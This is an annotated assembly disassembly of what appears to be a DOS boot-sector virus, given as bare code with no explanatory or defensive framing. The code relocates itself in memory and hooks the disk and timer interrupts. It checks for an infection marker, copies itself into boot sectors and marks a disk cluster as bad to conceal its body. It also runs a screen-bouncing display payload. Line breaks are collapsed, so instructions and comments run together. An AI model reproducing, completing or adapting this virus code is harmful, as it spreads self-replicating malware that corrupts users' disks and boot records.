jmp short loc_3 nop dec cx inc dx dec bp and [bx+si],ah xor bp,data_10 add al,[si] data_14 dw 1 add al,[bx+si] add bh,[bp+di] mov data_12,al add [bx+di],dl add [si],al add [bx+di],dl add [bp+di],dh loc_3: xor ax,ax mov ss,ax mov sp,7C00h mov ds,ax mov ax,data_5 sub ax,2 mov data_5,ax mov cl,6 shl ax,cl ; Shift w/zeros fill sub ax,7C0h mov es,ax mov si,7C00h mov di,si mov cx,100h rep movsw ; Rep while cx>0 Mov [si] to es:[di] db 8Eh db 0C8h push cs pop ds call sub_1 ;========================================================================== ; SUBROUTINE ;========================================================================== sub_1 proc near xor ah,ah ; Zero register int 13h ; Disk dl=drive b: ah=func 00h ; reset disk, al=return status and data_24,80h mov bx,data_25 push cs pop ax sub ax,20h mov es,ax call sub_3 mov bx,data_25 inc bx mov ax,0FFC0h mov es,ax call sub_3 xor ax,ax ; Zero register mov data_23,al mov ds,ax mov ax,data_3 mov bx,data_4 mov data_3,7CD0h mov data_4,cs push cs pop ds mov data_19,ax mov data_20,bx mov dl,data_24 jmp far ptr loc_2 sub_1 endp ;========================================================================== ; SUBROUTINE ;========================================================================== sub_2 proc near mov ax,301h jmp short loc_4 ;==== External Entry into Subroutine ====================================== sub_3: mov ax,201h loc_4: xchg ax,bx add ax,data_18 xor dx,dx ; Zero register div data_16 ; ax,dxrem=dx:ax/data inc dl mov ch,dl xor dx,dx ; Zero register div data_17 ; ax,dxrem=dx:ax/data mov cl,6 shl ah,cl ; Shift w/zeros fill or ah,ch mov cx,ax xchg ch,cl mov dh,dl mov ax,bx ;==== External Entry into Subroutine ====================================== sub_4: mov dl,data_24 mov bx,8000h int 13h ; Disk dl=drive b: ah=func 02h ; read sectors to memory es:bx jnc loc_ret_5 ; Jump if carry=0 pop ax loc_ret_5: retn sub_2 endp push ds push es push ax push bx push cx push dx push cs pop ds push cs pop es test data_23,1 jnz loc_8 ; Jump if not zero cmp ah,2 jne loc_8 ; Jump if not equal cmp data_24,dl mov data_24,dl jnz loc_7 ; Jump if not zero xor ah,ah ; Zero register int 1Ah ; Real time clock ah=func 00h ; get system timer count cx,dx test dh,7Fh jnz loc_6 ; Jump if not zero test dl,0F0h jnz loc_6 ; Jump if not zero push dx call sub_6 pop dx loc_6: mov cx,dx sub dx,data_26 mov data_26,cx sub dx,24h jc loc_8 ; Jump if carry Set loc_7: or data_23,1 push si push di call sub_5 pop di pop si and data_23,0FEh loc_8: pop dx pop cx pop bx pop ax pop es pop ds jmp far ptr loc_38 ;========================================================================== ; SUBROUTINE ;========================================================================== sub_5 proc near mov ax,201h mov dh,0 mov cx,1 call sub_4 test data_24,80h jz loc_11 ; Jump if zero mov si,81BEh mov cx,4 locloop_9: cmp data_8[si],1 je loc_10 ; Jump if equal cmp data_8[si],4 je loc_10 ; Jump if equal add si,10h loop locloop_9 ; Loop if cx > 0 retn loc_10: mov dx,[si] mov cx,data_7[si] mov ax,201h call sub_4 loc_11: mov si,8002h mov di,7C02h mov cx,1Ch rep movsb ; Rep while cx>0 Mov [si] to es:[di] cmp data_46,1357h jne loc_13 ; Jump if not equal cmp data_45,0 jae loc_ret_12 ; Jump if above or = mov ax,data_43 mov data_22,ax mov si,data_44 jmp loc_23 loc_ret_12: retn loc_13: cmp data_37,200h jne loc_ret_12 ; Jump if not equal cmp data_38,2 jb loc_ret_12 ; Jump if below mov cx,data_39 mov al,data_40 cbw ; Convrt byte to word mul data_42 ; ax = data * ax add cx,ax mov ax,20h mul data_41 ; ax = data * ax add ax,1FFh mov bx,200h div bx ; ax,dx rem=dx:ax/reg add cx,ax mov data_22,cx mov ax,data_15 sub ax,data_22 mov bl,data_13 xor dx,dx ; Zero register xor bh,bh ; Zero register div bx ; ax,dx rem=dx:ax/reg inc ax mov di,ax and data_23,0FBh cmp ax,0FF0h jbe loc_14 ; Jump if below or = or data_23,4 loc_14: mov si,1 mov bx,data_14 dec bx mov data_21,bx mov data_27,0FEh jmp short loc_15 data_21 dw 1Ah data_22 dw 73h data_23 db 4 data_24 db 81h data_25 dw 654Bh add data_9[bx],dl push bp stosb ; Store al to es:[di] loc_15: inc data_21 mov bx,data_21 add data_27,2 call sub_3 jmp short loc_20 loc_16: mov ax,3 test data_23,4 jz loc_17 ; Jump if zero inc ax loc_17: mul si ; dx:ax = reg * ax shr ax,1 ; Shift w/zeros fill sub ah,data_27 mov bx,ax cmp bx,1FFh jae loc_15 ; Jump if above or = mov dx,data_36[bx] test data_23,4 jnz loc_19 ; Jump if not zero mov cl,4 test si,1 jz loc_18 ; Jump if zero shr dx,cl ; Shift w/zeros fill loc_18: and dh,0Fh loc_19: test dx,0FFFFh jz loc_21 ; Jump if zero loc_20: inc si cmp si,di jbe loc_16 ; Jump if below or = retn loc_21: mov dx,0FFF7h test data_23,4 jnz loc_22 ; Jump if not zero and dh,0Fh mov cl,4 test si,1 jz loc_22 ; Jump if zero shl dx,cl ; Shift w/zeros fill loc_22: or data_36[bx],dx mov bx,data_21 call sub_2 mov ax,si sub ax,2 mov bl,data_13 xor bh,bh ; Zero register mul bx ; dx:ax = reg * ax add ax,data_22 mov si,ax mov bx,0 call sub_3 mov bx,si inc bx call sub_2 loc_23: mov bx,si mov data_25,si push cs pop ax sub ax,20h mov es,ax call sub_2 push cs pop ax sub ax,40h mov es,ax mov bx,0 call sub_2 retn sub_5 endp data_26 dw 246Eh data_27 db 32h ;========================================================================== ; SUBROUTINE ;========================================================================== sub_6 proc near test data_23,2 jnz loc_ret_24 ; Jump if not zero or data_23,2 mov ax,0 mov ds,ax mov ax,data_1 mov bx,data_2 mov data_1,7EDFh mov data_2,cs push cs pop ds mov data_28,ax mov data_29,bx loc_ret_24: retn sub_6 endp push ds push ax push bx push cx push dx push cs pop ds mov ah,0Fh int 10h ; Video display ah=functn 0Fh ; get state, al=mode, bh=page mov bl,al cmp bx,data_34 je loc_27 ; Jump if equal mov data_34,bx dec ah mov data_35,ah mov ah,1 cmp bl,7 jne loc_25 ; Jump if not equal dec ah loc_25: cmp bl,4 jae loc_26 ; Jump if above or = dec ah loc_26: mov data_33,ah mov data_31,101h mov data_32,101h mov ah,3 int 10h ; Video display ah=functn 03h ; get cursor loc in dx, mode cx push dx mov dx,data_31 jmp short loc_29 loc_27: mov ah,3 int 10h ; Video display ah=functn 03h ; get cursor loc in dx, mode cx push dx mov ah,2 mov dx,data_31 int 10h ; Video display ah=functn 02h ; set cursor location in dx mov ax,data_30 cmp data_33,1 jne loc_28 ; Jump if not equal mov ax,8307h loc_28: mov bl,ah mov cx,1 mov ah,9 int 10h ; Video display ah=functn 09h ; set char al & attrib ah @curs loc_29: mov cx,data_32 cmp dh,0 jne loc_30 ; Jump if not equal xor ch,0FFh inc ch loc_30: cmp dh,18h jne loc_31 ; Jump if not equal xor ch,0FFh inc ch loc_31: cmp dl,0 jne loc_32 ; Jump if not equal xor cl,0FFh inc cl loc_32: cmp dl,data_35 jne loc_33 ; Jump if not equal xor cl,0FFh inc cl loc_33: cmp cx,data_32 jne loc_35 ; Jump if not equal mov ax,data_30 and al,7 cmp al,3 jne loc_34 ; Jump if not equal xor ch,0FFh inc ch loc_34: cmp al,5 jne loc_35 ; Jump if not equal xor cl,0FFh inc cl loc_35: add dl,cl add dh,ch mov data_32,cx mov data_31,dx mov ah,2 int 10h ; Video display ah=functn 02h ; set cursor location in dx mov ah,8 int 10h ; Video display ah=functn 08h ; get char al & attrib ah @curs mov data_30,ax mov bl,ah cmp data_33,1 jne loc_36 ; Jump if not equal mov bl,83h loc_36: mov cx,1 mov ax,907h int 10h ; Video display ah=functn 09h ; set char al & attrib ah @curs pop dx mov ah,2 int 10h ; Video display ah=functn 02h ; set cursor location in dx pop dx pop cx pop bx pop ax pop ds jmp far ptr loc_1 data_30 dw 0 data_31 dw 101h data_32 dw 101h data_33 db 0 data_34 dw 0FFFFh data_35 db 50h mov bh,0B7h mov bh,0B6h inc ax inc ax mov dh,bl out 5Ah,al ; port 5Ah lodsb ; String [si] to al shl ah,cl ; Shift w/zeros fill jmp far ptr loc_39 inc ax db 64h pop sp db 60h push dx inc ax inc ax inc ax inc ax db 64h db 62h pop si db 62h db 60h pop si jo loc_37 ; Jump if overflow=1 inc ax inc cx mov bh,0B7h mov bh,0B6h